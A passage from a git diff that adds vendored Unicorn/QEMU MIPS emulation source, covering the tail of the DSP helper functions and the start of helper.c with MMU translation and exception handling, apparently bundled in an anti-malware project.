temp[2] += 1; + } + } + + temp128 = temp[2] & 0x01; + + if ((temp128 != 0 || temp[1] != 0) && + (temp128 != 1 || temp[1] != ~0ull)) { + if (temp128 == 0) { + temp[1] &= ~0x00ull - 1; + temp[0] |= ~0x00ull - 1; + } else { + temp[1] |= 0x01; + temp[0] &= 0x01; + } + set_DSPControl_overflow_flag(1, 23, env); + } + result = (temp[1] << 63) | (temp[0] >> 1); + + return result; +} +#endif + +target_ulong helper_extr_s_h(target_ulong ac, target_ulong shift, + CPUMIPSState *env) +{ + int64_t temp, acc; + + shift = shift & 0x1F; + + acc = ((int64_t)env->active_tc.HI[ac] << 32) | + ((int64_t)env->active_tc.LO[ac] & 0xFFFFFFFF); + + temp = acc >> shift; + + if (temp > (int64_t)0x7FFF) { + temp = 0x00007FFF; + set_DSPControl_overflow_flag(1, 23, env); + } else if (temp < (int64_t)0xFFFFFFFFFFFF8000ULL) { + temp = 0xFFFF8000; + set_DSPControl_overflow_flag(1, 23, env); + } + + return (target_long)(int32_t)(temp & 0xFFFFFFFF); +} + + +#if defined(TARGET_MIPS64) +target_ulong helper_dextr_s_h(target_ulong ac, target_ulong shift, + CPUMIPSState *env) +{ + int64_t temp[2]; + uint32_t temp127; + + shift = shift & 0x1F; + + mipsdsp_rashift_acc((uint64_t *)temp, ac, shift, env); + + temp127 = (temp[1] >> 63) & 0x01; + + if ((temp127 == 0) && (temp[1] > 0 || temp[0] > 32767)) { + temp[0] &= 0xFFFF0000; + temp[0] |= 0x00007FFF; + set_DSPControl_overflow_flag(1, 23, env); + } else if ((temp127 == 1) && + (temp[1] < 0xFFFFFFFFFFFFFFFFll + || temp[0] < 0xFFFFFFFFFFFF1000ll)) { + temp[0] &= 0xFFFF0000; + temp[0] |= 0x00008000; + set_DSPControl_overflow_flag(1, 23, env); + } + + return (int64_t)(int16_t)(temp[0] & MIPSDSP_LO); +} + +#endif + +target_ulong helper_extp(target_ulong ac, target_ulong size, CPUMIPSState *env) +{ + int32_t start_pos; + int sub; + uint32_t temp; + uint64_t acc; + + size = size & 0x1F; + + temp = 0; + start_pos = get_DSPControl_pos(env); + sub = start_pos - (size + 1); + if (sub >= -1) { + acc = ((uint64_t)env->active_tc.HI[ac] << 32) | + ((uint64_t)env->active_tc.LO[ac] & MIPSDSP_LLO); + temp = (acc >> (start_pos - size)) & (~0U >> (31 - size)); + set_DSPControl_efi(0, env); + } else { + set_DSPControl_efi(1, env); + } + + return (target_ulong)temp; +} + +target_ulong helper_extpdp(target_ulong ac, target_ulong size, + CPUMIPSState *env) +{ + int32_t start_pos; + int sub; + uint32_t temp; + uint64_t acc; + + size = size & 0x1F; + temp = 0; + start_pos = get_DSPControl_pos(env); + sub = start_pos - (size + 1); + if (sub >= -1) { + acc = ((uint64_t)env->active_tc.HI[ac] << 32) | + ((uint64_t)env->active_tc.LO[ac] & MIPSDSP_LLO); + temp = extract64(acc, start_pos - size, size + 1); + + set_DSPControl_pos(sub, env); + set_DSPControl_efi(0, env); + } else { + set_DSPControl_efi(1, env); + } + + return (target_ulong)temp; +} + + +#if defined(TARGET_MIPS64) +target_ulong helper_dextp(target_ulong ac, target_ulong size, CPUMIPSState *env) +{ + int start_pos; + int len; + int sub; + uint64_t tempB, tempA; + uint64_t temp; + + temp = 0; + + size = size & 0x3F; + start_pos = get_DSPControl_pos(env); + len = start_pos - size; + tempB = env->active_tc.HI[ac]; + tempA = env->active_tc.LO[ac]; + + sub = start_pos - (size + 1); + + if (sub >= -1) { + temp = (tempB << (64 - len)) | (tempA >> len); + temp = temp & ((0x01 << (size + 1)) - 1); + set_DSPControl_efi(0, env); + } else { + set_DSPControl_efi(1, env); + } + + return temp; +} + +target_ulong helper_dextpdp(target_ulong ac, target_ulong size, + CPUMIPSState *env) +{ + int start_pos; + int len; + int sub; + uint64_t tempB, tempA; + uint64_t temp; + + temp = 0; + size = size & 0x3F; + start_pos = get_DSPControl_pos(env); + len = start_pos - size; + tempB = env->active_tc.HI[ac]; + tempA = env->active_tc.LO[ac]; + + sub = start_pos - (size + 1); + + if (sub >= -1) { + temp = (tempB << (64 - len)) | (tempA >> len); + temp = temp & ((0x01 << (size + 1)) - 1); + set_DSPControl_pos(sub, env); + set_DSPControl_efi(0, env); + } else { + set_DSPControl_efi(1, env); + } + + return temp; +} + +#endif + +void helper_shilo(target_ulong ac, target_ulong rs, CPUMIPSState *env) +{ + int8_t rs5_0; + uint64_t temp, acc; + + rs5_0 = rs & 0x3F; + rs5_0 = (int8_t)(rs5_0 << 2) >> 2; + + if (unlikely(rs5_0 == 0)) { + return; + } + + acc = (((uint64_t)env->active_tc.HI[ac] << 32) & MIPSDSP_LHI) | + ((uint64_t)env->active_tc.LO[ac] & MIPSDSP_LLO); + + if (rs5_0 > 0) { + temp = acc >> rs5_0; + } else { + temp = acc << -rs5_0; + } + + env->active_tc.HI[ac] = (target_ulong)(int32_t)((temp & MIPSDSP_LHI) >> 32); + env->active_tc.LO[ac] = (target_ulong)(int32_t)(temp & MIPSDSP_LLO); +} + +#if defined(TARGET_MIPS64) +void helper_dshilo(target_ulong shift, target_ulong ac, CPUMIPSState *env) +{ + int8_t shift_t; + uint64_t tempB, tempA; + + shift_t = (int8_t)(shift << 1) >> 1; + + tempB = env->active_tc.HI[ac]; + tempA = env->active_tc.LO[ac]; + + if (shift_t != 0) { + if (shift_t >= 0) { + tempA = (tempB << (64 - shift_t)) | (tempA >> shift_t); + tempB = tempB >> shift_t; + } else { + shift_t = -shift_t; + tempB = (tempB << shift_t) | (tempA >> (64 - shift_t)); + tempA = tempA << shift_t; + } + } + + env->active_tc.HI[ac] = tempB; + env->active_tc.LO[ac] = tempA; +} + +#endif +void helper_mthlip(target_ulong ac, target_ulong rs, CPUMIPSState *env) +{ + int32_t tempA, tempB, pos; + + tempA = rs; + tempB = env->active_tc.LO[ac]; + env->active_tc.HI[ac] = (target_long)tempB; + env->active_tc.LO[ac] = (target_long)tempA; + pos = get_DSPControl_pos(env); + + if (pos > 32) { + return; + } else { + set_DSPControl_pos(pos + 32, env); + } +} + +#if defined(TARGET_MIPS64) +void helper_dmthlip(target_ulong rs, target_ulong ac, CPUMIPSState *env) +{ + uint8_t ac_t; + uint8_t pos; + uint64_t tempB, tempA; + + ac_t = ac & 0x3; + + tempA = rs; + tempB = env->active_tc.LO[ac_t]; + + env->active_tc.HI[ac_t] = tempB; + env->active_tc.LO[ac_t] = tempA; + + pos = get_DSPControl_pos(env); + + if (pos <= 64) { + pos = pos + 64; + set_DSPControl_pos(pos, env); + } +} +#endif + +void cpu_wrdsp(uint32_t rs, uint32_t mask_num, CPUMIPSState *env) +{ + uint8_t mask[6]; + uint8_t i; + uint32_t newbits, overwrite; + target_ulong dsp; + + newbits = 0x00; + overwrite = 0xFFFFFFFF; + dsp = env->active_tc.DSPControl; + + for (i = 0; i < 6; i++) { + mask[i] = (mask_num >> i) & 0x01; + } + + if (mask[0] == 1) { +#if defined(TARGET_MIPS64) + overwrite &= 0xFFFFFF80; + newbits &= 0xFFFFFF80; + newbits |= 0x0000007F & rs; +#else + overwrite &= 0xFFFFFFC0; + newbits &= 0xFFFFFFC0; + newbits |= 0x0000003F & rs; +#endif + } + + if (mask[1] == 1) { + overwrite &= 0xFFFFE07F; + newbits &= 0xFFFFE07F; + newbits |= 0x00001F80 & rs; + } + + if (mask[2] == 1) { + overwrite &= 0xFFFFDFFF; + newbits &= 0xFFFFDFFF; + newbits |= 0x00002000 & rs; + } + + if (mask[3] == 1) { + overwrite &= 0xFF00FFFF; + newbits &= 0xFF00FFFF; + newbits |= 0x00FF0000 & rs; + } + + if (mask[4] == 1) { + overwrite &= 0x00FFFFFF; + newbits &= 0x00FFFFFF; +#if defined(TARGET_MIPS64) + newbits |= 0xFF000000 & rs; +#else + newbits |= 0x0F000000 & rs; +#endif + } + + if (mask[5] == 1) { + overwrite &= 0xFFFFBFFF; + newbits &= 0xFFFFBFFF; + newbits |= 0x00004000 & rs; + } + + dsp = dsp & overwrite; + dsp = dsp | newbits; + env->active_tc.DSPControl = dsp; +} + +void helper_wrdsp(target_ulong rs, target_ulong mask_num, CPUMIPSState *env) +{ + cpu_wrdsp(rs, mask_num, env); +} + +uint32_t cpu_rddsp(uint32_t mask_num, CPUMIPSState *env) +{ + uint8_t mask[6]; + uint32_t ruler, i; + target_ulong temp; + target_ulong dsp; + + ruler = 0x01; + for (i = 0; i < 6; i++) { + mask[i] = (mask_num & ruler) >> i ; + ruler = ruler << 1; + } + + temp = 0x00; + dsp = env->active_tc.DSPControl; + + if (mask[0] == 1) { +#if defined(TARGET_MIPS64) + temp |= dsp & 0x7F; +#else + temp |= dsp & 0x3F; +#endif + } + + if (mask[1] == 1) { + temp |= dsp & 0x1F80; + } + + if (mask[2] == 1) { + temp |= dsp & 0x2000; + } + + if (mask[3] == 1) { + temp |= dsp & 0x00FF0000; + } + + if (mask[4] == 1) { +#if defined(TARGET_MIPS64) + temp |= dsp & 0xFF000000; +#else + temp |= dsp & 0x0F000000; +#endif + } + + if (mask[5] == 1) { + temp |= dsp & 0x4000; + } + + return temp; +} + +target_ulong helper_rddsp(target_ulong mask_num, CPUMIPSState *env) +{ + return cpu_rddsp(mask_num, env); +} + + +#undef MIPSDSP_LHI +#undef MIPSDSP_LLO +#undef MIPSDSP_HI +#undef MIPSDSP_LO +#undef MIPSDSP_Q3 +#undef MIPSDSP_Q2 +#undef MIPSDSP_Q1 +#undef MIPSDSP_Q0 + +#undef MIPSDSP_SPLIT32_8 +#undef MIPSDSP_SPLIT32_16 + +#undef MIPSDSP_RETURN32_8 +#undef MIPSDSP_RETURN32_16 + +#ifdef TARGET_MIPS64 +#undef MIPSDSP_SPLIT64_16 +#undef MIPSDSP_SPLIT64_32 +#undef MIPSDSP_RETURN64_16 +#undef MIPSDSP_RETURN64_32 +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/helper.c new file mode 100644 index 0000000..749584c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/helper.c @@ -0,0 +1,826 @@ +/* + * MIPS emulation helpers for qemu. + * + * Copyright (c) 2004-2005 Jocelyn Mayer + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#include +#include +#include +#include +#include "unicorn/platform.h" +#include + +#include "cpu.h" +#include "exec/cpu_ldst.h" + +enum { + TLBRET_XI = -6, + TLBRET_RI = -5, + TLBRET_DIRTY = -4, + TLBRET_INVALID = -3, + TLBRET_NOMATCH = -2, + TLBRET_BADADDR = -1, + TLBRET_MATCH = 0 +}; + +#if !defined(CONFIG_USER_ONLY) + +/* no MMU emulation */ +int no_mmu_map_address (CPUMIPSState *env, hwaddr *physical, int *prot, + target_ulong address, int rw, int access_type) +{ + *physical = address; + *prot = PAGE_READ | PAGE_WRITE; + return TLBRET_MATCH; +} + +/* fixed mapping MMU emulation */ +int fixed_mmu_map_address (CPUMIPSState *env, hwaddr *physical, int *prot, + target_ulong address, int rw, int access_type) +{ + if (address <= (int32_t)0x7FFFFFFFUL) { + if (!(env->CP0_Status & (1 << CP0St_ERL))) + *physical = address + 0x40000000UL; + else + *physical = address; + } else if (address <= (int32_t)0xBFFFFFFFUL) + *physical = address & 0x1FFFFFFF; + else + *physical = address; + + *prot = PAGE_READ | PAGE_WRITE; + return TLBRET_MATCH; +} + +/* MIPS32/MIPS64 R4000-style MMU emulation */ +int r4k_map_address (CPUMIPSState *env, hwaddr *physical, int *prot, + target_ulong address, int rw, int access_type) +{ + uint8_t ASID = env->CP0_EntryHi & 0xFF; + int i; + + for (i = 0; i < env->tlb->tlb_in_use; i++) { + r4k_tlb_t *tlb = &env->tlb->mmu.r4k.tlb[i]; + /* 1k pages are not supported. */ + target_ulong mask = tlb->PageMask | ~(((unsigned int)TARGET_PAGE_MASK) << 1); + target_ulong tag = address & ~mask; + target_ulong VPN = tlb->VPN & ~mask; +#if defined(TARGET_MIPS64) + tag &= env->SEGMask; +#endif + + /* Check ASID, virtual page number & size */ + if ((tlb->G == 1 || tlb->ASID == ASID) && VPN == tag && !tlb->EHINV) { + /* TLB match */ + int n = !!(address & mask & ~(mask >> 1)); + /* Check access rights */ + if (!(n ? tlb->V1 : tlb->V0)) { + return TLBRET_INVALID; + } + if (rw == MMU_INST_FETCH && (n ? tlb->XI1 : tlb->XI0)) { + return TLBRET_XI; + } + if (rw == MMU_DATA_LOAD && (n ? tlb->RI1 : tlb->RI0)) { + return TLBRET_RI; + } + if (rw != MMU_DATA_STORE || (n ? tlb->D1 : tlb->D0)) { + *physical = tlb->PFN[n] | (address & (mask >> 1)); + *prot = PAGE_READ; + if (n ? tlb->D1 : tlb->D0) + *prot |= PAGE_WRITE; + return TLBRET_MATCH; + } + return TLBRET_DIRTY; + } + } + return TLBRET_NOMATCH; +} + +static int get_physical_address (CPUMIPSState *env, hwaddr *physical, + int *prot, target_ulong real_address, + int rw, int access_type) +{ + /* User mode can only access useg/xuseg */ + int user_mode = (env->hflags & MIPS_HFLAG_MODE) == MIPS_HFLAG_UM; + int supervisor_mode = (env->hflags & MIPS_HFLAG_MODE) == MIPS_HFLAG_SM; + int kernel_mode = !user_mode && !supervisor_mode; +#if defined(TARGET_MIPS64) + int UX = (env->CP0_Status & (1 << CP0St_UX)) != 0; + int SX = (env->CP0_Status & (1 << CP0St_SX)) != 0; + int KX = (env->CP0_Status & (1 << CP0St_KX)) != 0; +#endif + int ret = TLBRET_MATCH; + /* effective address (modified for KVM T&E kernel segments) */ + target_ulong address = real_address; + +#if 0 + qemu_log("user mode %d h %08x\n", user_mode, env->hflags); +#endif + +#define USEG_LIMIT 0x7FFFFFFFUL +#define KSEG0_BASE 0x80000000UL +#define KSEG1_BASE 0xA0000000UL +#define KSEG2_BASE 0xC0000000UL +#define KSEG3_BASE 0xE0000000UL + +#define KVM_KSEG0_BASE 0x40000000UL +#define KVM_KSEG2_BASE 0x60000000UL + + if (address <= USEG_LIMIT) { + /* useg */ + if (env->CP0_Status & (1 << CP0St_ERL)) { + *physical = address & 0xFFFFFFFF; + *prot = PAGE_READ | PAGE_WRITE; + } else { + ret = env->tlb->map_address(env, physical, prot, real_address, rw, access_type); + } +#if defined(TARGET_MIPS64) + } else if (address < 0x4000000000000000ULL) { + /* xuseg */ + if (UX && address <= (0x3FFFFFFFFFFFFFFFULL & env->SEGMask)) { + ret = env->tlb->map_address(env, physical, prot, real_address, rw, access_type); + } else { + ret = TLBRET_BADADDR; + } + } else if (address < 0x8000000000000000ULL) { + /* xsseg */ + if ((supervisor_mode || kernel_mode) && + SX && address <= (0x7FFFFFFFFFFFFFFFULL & env->SEGMask)) { + ret = env->tlb->map_address(env, physical, prot, real_address, rw, access_type); + } else { + ret = TLBRET_BADADDR; + } + } else if (address < 0xC000000000000000ULL) { + /* xkphys */ + if (kernel_mode && KX && + (address & 0x07FFFFFFFFFFFFFFULL) <= env->PAMask) { + *physical = address & env->PAMask; + *prot = PAGE_READ | PAGE_WRITE; + } else { + ret = TLBRET_BADADDR; + } + } else if (address < 0xFFFFFFFF80000000ULL) { + /* xkseg */ + if (kernel_mode && KX && + address <= (0xFFFFFFFF7FFFFFFFULL & env->SEGMask)) { + ret = env->tlb->map_address(env, physical, prot, real_address, rw, access_type); + } else { + ret = TLBRET_BADADDR; + } +#endif + } else if (address < (int32_t)KSEG1_BASE) { + /* kseg0 */ + if (kernel_mode) { + *physical = address - (int32_t)KSEG0_BASE; + *prot = PAGE_READ | PAGE_WRITE; + } else { + ret = TLBRET_BADADDR; + } + } else if (address < (int32_t)KSEG2_BASE) { + /* kseg1 */ + if (kernel_mode) { + *physical = address - (int32_t)KSEG1_BASE; + *prot = PAGE_READ | PAGE_WRITE; + } else { + ret = TLBRET_BADADDR; + } + } else if (address < (int32_t)KSEG3_BASE) { + /* sseg (kseg2) */ + if (supervisor_mode || kernel_mode) { + ret = env->tlb->map_address(env, physical, prot, real_address, rw, access_type); + } else { + ret = TLBRET_BADADDR; + } + } else { + /* kseg3 */ + /* XXX: debug segment is not emulated */ + if (kernel_mode) { + ret = env->tlb->map_address(env, physical, prot, real_address, rw, access_type); + } else { + ret = TLBRET_BADADDR; + } + } +#if 0 + qemu_log(TARGET_FMT_lx " %d %d => %" HWADDR_PRIx " %d (%d)\n", + address, rw, access_type, *physical, *prot, ret); +#endif + + return ret; +} +#endif + +static void raise_mmu_exception(CPUMIPSState *env, target_ulong address, + int rw, int tlb_error) +{ + CPUState *cs = CPU(mips_env_get_cpu(env)); + int exception = 0, error_code = 0; + + if (rw == MMU_INST_FETCH) { + error_code |= EXCP_INST_NOTAVAIL; + } + + switch (tlb_error) { + default: + case TLBRET_BADADDR: + /* Reference to kernel address from user mode or supervisor mode */ + /* Reference to supervisor address from user mode */ + if (rw == MMU_DATA_STORE) { + exception = EXCP_AdES; + } else { + exception = EXCP_AdEL; + } + break; + case TLBRET_NOMATCH: + /* No TLB match for a mapped address */ + if (rw == MMU_DATA_STORE) { + exception = EXCP_TLBS; + } else { + exception = EXCP_TLBL; + } + error_code |= EXCP_TLB_NOMATCH; + break; + case TLBRET_INVALID: + /* TLB match with no valid bit */ + if (rw == MMU_DATA_STORE) { + exception = EXCP_TLBS; + } else { + exception = EXCP_TLBL; + } + break; + case TLBRET_DIRTY: + /* TLB match but 'D' bit is cleared */ + exception = EXCP_LTLBL; + break; + case TLBRET_XI: + /* Execute-Inhibit Exception */ + if (env->CP0_PageGrain & (1 << CP0PG_IEC)) { + exception = EXCP_TLBXI; + } else { + exception = EXCP_TLBL; + } + break; + case TLBRET_RI: + /* Read-Inhibit Exception */ + if (env->CP0_PageGrain & (1 << CP0PG_IEC)) { + exception = EXCP_TLBRI; + } else { + exception = EXCP_TLBL; + } + break; + } + /* Raise exception */ + env->CP0_BadVAddr = address; + env->CP0_Context = (env->CP0_Context & ~0x007fffff) | + ((address >> 9) & 0x007ffff0); + env->CP0_EntryHi = + (env->CP0_EntryHi & 0xFF) | (address & (((unsigned int)TARGET_PAGE_MASK) << 1)); +#if defined(TARGET_MIPS64) + env->CP0_EntryHi &= env->SEGMask; + env->CP0_XContext = (env->CP0_XContext & ((~0ULL) << (env->SEGBITS - 7))) | + ((address & 0xC00000000000ULL) >> (55 - env->SEGBITS)) | + ((address & ((1ULL << env->SEGBITS) - 1) & 0xFFFFFFFFFFFFE000ULL) >> 9); +#endif + cs->exception_index = exception; + env->error_code = error_code; +} + +#if !defined(CONFIG_USER_ONLY) +hwaddr mips_cpu_get_phys_page_debug(CPUState *cs, vaddr addr) +{ + MIPSCPU *cpu = MIPS_CPU(cs->uc, cs); + hwaddr phys_addr; + int prot; + + if (get_physical_address(&cpu->env, &phys_addr, &prot, addr, 0, + ACCESS_INT) != 0) { + return -1; + } + return phys_addr; +} +#endif + +int mips_cpu_handle_mmu_fault(CPUState *cs, vaddr address, int rw, + int mmu_idx) +{ + MIPSCPU *cpu = MIPS_CPU(cs->uc, cs); + CPUMIPSState *env = &cpu->env; +#if !defined(CONFIG_USER_ONLY) + hwaddr physical; + int prot; + int access_type; +#endif + int ret = 0; + +#if 0 + log_cpu_state(cs, 0); +#endif + qemu_log("%s pc " TARGET_FMT_lx " ad %" VADDR_PRIx " rw %d mmu_idx %d\n", + __func__, env->active_tc.PC, address, rw, mmu_idx); + + /* data access */ +#if !defined(CONFIG_USER_ONLY) + /* XXX: put correct access by using cpu_restore_state() + correctly */ + access_type = ACCESS_INT; + ret = get_physical_address(env, &physical, &prot, + address, rw, access_type); + qemu_log("%s address=%" VADDR_PRIx " ret %d physical " TARGET_FMT_plx + " prot %d\n", + __func__, address, ret, physical, prot); + if (ret == TLBRET_MATCH) { + if (mmu_idx < 0 || mmu_idx >= NB_MMU_MODES) { + raise_mmu_exception(env, address, rw, ret); + ret = 1; + } else { + tlb_set_page(cs, address & TARGET_PAGE_MASK, + physical & TARGET_PAGE_MASK, prot | PAGE_EXEC, + mmu_idx, TARGET_PAGE_SIZE); + ret = 0; + } + } else if (ret < 0) +#endif + { + raise_mmu_exception(env, address, rw, ret); + ret = 1; + } + + return ret; +} + +#if !defined(CONFIG_USER_ONLY) +hwaddr cpu_mips_translate_address(CPUMIPSState *env, target_ulong address, int rw) +{ + hwaddr physical; + int prot; + int access_type; + int ret = 0; + + /* data access */ + access_type = ACCESS_INT; + ret = get_physical_address(env, &physical, &prot, + address, rw, access_type); + if (ret != TLBRET_MATCH) { + raise_mmu_exception(env, address, rw, ret); + return -1LL; + } else { + return physical; + } +} +#endif + +static const char * const excp_names[EXCP_LAST + 1] = { + "reset", + "soft reset", + "debug single step", + "debug interrupt", + "debug data break load", + "debug data break store", + "non-maskable interrupt", + "machine check", + "interrupt", + "deferred watchpoint", + "debug instruction breakpoint", + "instruction fetch watchpoint", + "address error load", + "address error store", + "TLB refill", + "instruction bus error", + "debug breakpoint", + "syscall", + "break", + "coprocessor unusable", + "reserved instruction", + "arithmetic overflow", + "trap", + "floating point", + "data watchpoint", + "TLB modify", + "TLB load", + "TLB store", + "data bus error", + "thread", + "MDMX", + "precise coprocessor 2", + "cache error", + "DSP disabled", + "MSA disabled", + "MSA floating point", + "TLB execute-inhibit", + "TLB read-inhibit", +}; + +target_ulong exception_resume_pc (CPUMIPSState *env) +{ + target_ulong bad_pc; + target_ulong isa_mode; + + isa_mode = !!(env->hflags & MIPS_HFLAG_M16); + bad_pc = env->active_tc.PC | isa_mode; + if (env->hflags & MIPS_HFLAG_BMASK) { + /* If the exception was raised from a delay slot, come back to + the jump. */ + bad_pc -= (env->hflags & MIPS_HFLAG_B16 ? 2 : 4); + } + + return bad_pc; +} + +#if !defined(CONFIG_USER_ONLY) +static void set_hflags_for_handler (CPUMIPSState *env) +{ + /* Exception handlers are entered in 32-bit mode. */ + env->hflags &= ~(MIPS_HFLAG_M16); + /* ...except that microMIPS lets you choose. */ + if (env->insn_flags & ASE_MICROMIPS) { + env->hflags |= (!!(env->CP0_Config3 + & (1 << CP0C3_ISA_ON_EXC)) + << MIPS_HFLAG_M16_SHIFT); + } +} + +static inline void set_badinstr_registers(CPUMIPSState *env) +{ + if (env->hflags & MIPS_HFLAG_M16) { + /* TODO: add BadInstr support for microMIPS */ + return; + } + if (env->CP0_Config3 & (1 << CP0C3_BI)) { + env->CP0_BadInstr = cpu_ldl_code(env, env->active_tc.PC); + } + if ((env->CP0_Config3 & (1 << CP0C3_BP)) && + (env->hflags & MIPS_HFLAG_BMASK)) { + env->CP0_BadInstrP = cpu_ldl_code(env, env->active_tc.PC - 4); + } +} +#endif + +void mips_cpu_do_interrupt(CPUState *cs) +{ +#if !defined(CONFIG_USER_ONLY) + MIPSCPU *cpu = MIPS_CPU(cs->uc, cs); + CPUMIPSState *env = &cpu->env; + bool update_badinstr = 0; + target_ulong offset; + int cause = -1; + const char *name; + + if (qemu_log_enabled() && cs->exception_index != EXCP_EXT_INTERRUPT) { + if (cs->exception_index < 0 || cs->exception_index > EXCP_LAST) { + name = "unknown"; + } else { + name = excp_names[cs->exception_index]; + } + + qemu_log("%s enter: PC " TARGET_FMT_lx " EPC " TARGET_FMT_lx " %s exception\n", + __func__, env->active_tc.PC, env->CP0_EPC, name); + } + if (cs->exception_index == EXCP_EXT_INTERRUPT && + (env->hflags & MIPS_HFLAG_DM)) { + cs->exception_index = EXCP_DINT; + } + offset = 0x180; + switch (cs->exception_index) { + case EXCP_DSS: + env->CP0_Debug |= 1 << CP0DB_DSS; + /* Debug single step cannot be raised inside a delay slot and + resume will always occur on the next instruction + (but we assume the pc has always been updated during + code translation). */ + env->CP0_DEPC = env->active_tc.PC | !!(env->hflags & MIPS_HFLAG_M16); + goto enter_debug_mode; + case EXCP_DINT: + env->CP0_Debug |= 1 << CP0DB_DINT; + goto set_DEPC; + case EXCP_DIB: + env->CP0_Debug |= 1 << CP0DB_DIB; + goto set_DEPC; + case EXCP_DBp: + env->CP0_Debug |= 1 << CP0DB_DBp; + goto set_DEPC; + case EXCP_DDBS: + env->CP0_Debug |= 1 << CP0DB_DDBS; + goto set_DEPC; + case EXCP_DDBL: + env->CP0_Debug |= 1 << CP0DB_DDBL; + set_DEPC: + env->CP0_DEPC = exception_resume_pc(env); + env->hflags &= ~MIPS_HFLAG_BMASK; + enter_debug_mode: + env->hflags |= MIPS_HFLAG_DM | MIPS_HFLAG_64 | MIPS_HFLAG_CP0; + env->hflags &= ~(MIPS_HFLAG_KSU); + /* EJTAG probe trap enable is not implemented... */ + if (!(env->CP0_Status & (1 << CP0St_EXL))) + env->CP0_Cause &= ~(1U << CP0Ca_BD); + env->active_tc.PC = (int32_t)0xBFC00480; + set_hflags_for_handler(env); + break; + case EXCP_RESET: + cpu_reset(CPU(cpu)); + break; + case EXCP_SRESET: + env->CP0_Status |= (1 << CP0St_SR); + /* memset CP0_WatchLo which is fixed size array. */ + memset(env->CP0_WatchLo, 0, sizeof(env->CP0_WatchLo)); + goto set_error_EPC; + case EXCP_NMI: + env->CP0_Status |= (1 << CP0St_NMI); + set_error_EPC: + env->CP0_ErrorEPC = exception_resume_pc(env); + env->hflags &= ~MIPS_HFLAG_BMASK; + env->CP0_Status |= (1 << CP0St_ERL) | (1 << CP0St_BEV); + env->hflags |= MIPS_HFLAG_64 | MIPS_HFLAG_CP0; + env->hflags &= ~(MIPS_HFLAG_KSU); + if (!(env->CP0_Status & (1 << CP0St_EXL))) + env->CP0_Cause &= ~(1U << CP0Ca_BD); + env->active_tc.PC = (int32_t)0xBFC00000; + set_hflags_for_handler(env); + break; + case EXCP_EXT_INTERRUPT: + cause = 0; + if (env->CP0_Cause & (1 << CP0Ca_IV)) + offset = 0x200; + + if (env->CP0_Config3 & ((1 << CP0C3_VInt) | (1 << CP0C3_VEIC))) { + /* Vectored Interrupts. */ + unsigned int spacing; + unsigned int vector; + unsigned int pending = (env->CP0_Cause & CP0Ca_IP_mask) >> 8; + + pending &= env->CP0_Status >> 8; + /* Compute the Vector Spacing. */ + spacing = (env->CP0_IntCtl >> CP0IntCtl_VS) & ((1 << 6) - 1); + spacing <<= 5; + + if (env->CP0_Config3 & (1 << CP0C3_VInt)) { + /* For VInt mode, the MIPS computes the vector internally. */ + for (vector = 7; vector > 0; vector--) { + if (pending & (1 << vector)) { + /* Found it. */ + break; + } + } + } else { + /* For VEIC mode, the external interrupt controller feeds the + vector through the CP0Cause IP lines. */ + vector = pending; + } + offset = 0x200 + vector * spacing; + } + goto set_EPC; + case EXCP_LTLBL: + cause = 1; + update_badinstr = !(env->error_code & EXCP_INST_NOTAVAIL); + goto set_EPC; + case EXCP_TLBL: + cause = 2; + update_badinstr = !(env->error_code & EXCP_INST_NOTAVAIL); + if ((env->error_code & EXCP_TLB_NOMATCH) && + !(env->CP0_Status & (1 << CP0St_EXL))) { +#if defined(TARGET_MIPS64) + int R = env->CP0_BadVAddr >> 62; + int UX = (env->CP0_Status & (1 << CP0St_UX)) != 0; + int SX = (env->CP0_Status & (1 << CP0St_SX)) != 0; + int KX = (env->CP0_Status & (1 << CP0St_KX)) != 0; + + if (((R == 0 && UX) || (R == 1 && SX) || (R == 3 && KX)) && + (!(env->insn_flags & (INSN_LOONGSON2E | INSN_LOONGSON2F)))) + offset = 0x080; + else +#endif + offset = 0x000; + } + goto set_EPC; + case EXCP_TLBS: + cause = 3; + update_badinstr = 1; + if ((env->error_code & EXCP_TLB_NOMATCH) && + !(env->CP0_Status & (1 << CP0St_EXL))) { +#if defined(TARGET_MIPS64) + int R = env->CP0_BadVAddr >> 62; + int UX = (env->CP0_Status & (1 << CP0St_UX)) != 0; + int SX = (env->CP0_Status & (1 << CP0St_SX)) != 0; + int KX = (env->CP0_Status & (1 << CP0St_KX)) != 0; + + if (((R == 0 && UX) || (R == 1 && SX) || (R == 3 && KX)) && + (!(env->insn_flags & (INSN_LOONGSON2E | INSN_LOONGSON2F)))) + offset = 0x080; + else +#endif + offset = 0x000; + } + goto set_EPC; + case EXCP_AdEL: + cause = 4; + update_badinstr = !(env->error_code & EXCP_INST_NOTAVAIL); + goto set_EPC; + case EXCP_AdES: + cause = 5; + update_badinstr = 1; + goto set_EPC; + case EXCP_IBE: + cause = 6; + goto set_EPC; + case EXCP_DBE: + cause = 7; + goto set_EPC; + case EXCP_SYSCALL: + cause = 8; + update_badinstr = 1; + goto set_EPC; + case EXCP_BREAK: + cause = 9; + update_badinstr = 1; + goto set_EPC; + case EXCP_RI: + cause = 10; + update_badinstr = 1; + goto set_EPC; + case EXCP_CpU: + cause = 11; + update_badinstr = 1; + env->CP0_Cause = (env->CP0_Cause & ~(0x3 << CP0Ca_CE)) | + (env->error_code << CP0Ca_CE); + goto set_EPC; + case EXCP_OVERFLOW: + cause = 12; + update_badinstr = 1; + goto set_EPC; + case EXCP_TRAP: + cause = 13; + update_badinstr = 1; + goto set_EPC; + case EXCP_MSAFPE: + cause = 14; + update_badinstr = 1; + goto set_EPC; + case EXCP_FPE: + cause = 15; + update_badinstr = 1; + goto set_EPC; + case EXCP_C2E: + cause = 18; + goto set_EPC; + case EXCP_TLBRI: + cause = 19; + update_badinstr = 1; + goto set_EPC; + case EXCP_TLBXI: + cause = 20; + goto set_EPC; + case EXCP_MSADIS: + cause = 21; + update_badinstr = 1; + goto set_EPC; + case EXCP_MDMX: + cause = 22; + goto set_EPC; + case EXCP_DWATCH: + cause = 23; + /* 